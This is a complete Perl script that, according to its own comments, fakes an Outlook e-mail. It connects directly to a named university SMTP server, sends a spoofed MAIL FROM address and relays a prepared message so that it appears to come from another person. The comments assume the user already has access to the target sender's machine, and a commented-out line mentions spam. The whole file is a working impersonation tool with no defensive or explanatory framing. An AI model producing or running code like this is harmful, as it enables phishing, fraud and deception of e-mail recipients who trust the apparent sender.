#!/usr/bin/perl

# This program will fake an Outlook e-mail
# You have to create the e-mail, or acquire
# from the target sender.  You are assumed
# to have access through the target sender's
# machine so as to provide the correct IP
# addressing.

# $to is who the message is to be sent to.
# $from is who the message is to appear to
# be from.

# $mailServer should be the mail server of
# the target's machine.

$to = "SillyName47\@hotmail.com";
$from = "pasward\@tolstoy.uwaterloo.ca";

$mailServer = "ccng.uwaterloo.ca";
$mailPort = 25;

# Open the socket to the mail server.  This
# code is standard from the perl documentation.

use Socket;
use IO;

$iaddr   = inet_aton($mailServer)    || die "no host: $remote";
$paddr   = sockaddr_in($mailPort, $iaddr);

$proto   = getprotobyname('tcp');
socket(SOCK, PF_INET, SOCK_STREAM, $proto)  || die "socket: $!";
setsockopt(SOCK, SOL_SOCKET, SO_REUSEADDR, pack("l", 1))          || die "setsockopt: $!";
#bind(SOCK, sockaddr_in(0, $mA))              || die "bind: $!";

$mySockaddr = getsockname(SOCK)  || die "getsockname: $!";
($myPort, $myAddr) = unpack_sockaddr_in($mySockaddr);

connect(SOCK, $paddr)                              || die "connect: $!";

SOCK->autoflush(1);


# Send the HELO ; MAIL FROM ; RCPT TO commands

print SOCK "HELO $mailServer\n";
if (defined($line = <SOCK>)) {
  print STDERR $line;
}

print SOCK "MAIL FROM: <$from>\n";
if (defined($line = <SOCK>)) {
  print STDERR $line;
}

print SOCK "RCPT TO: <$to>\n";
if (defined($line = <SOCK>)) {
  print STDERR $line;
}

# Now send the DATA

print SOCK "DATA\n";
$startingPoint = 0;
while(<>) {
  if (/^Message-ID:/) {
    $startingPoint = 1;
  }
  if ($startingPoint) {
    print SOCK;
#    print STDERR;
  }
}

print SOCK "\n.\n";


#print SOCK "DATA\nThis is a spam e-mail.\n.\n";
if (defined($line = <SOCK>)) {
  print STDERR $line;
}
if (defined($line = <SOCK>)) {
  print STDERR $line;
}
if (defined($line = <SOCK>)) {
  print STDERR $line;
}

close(SOCK);


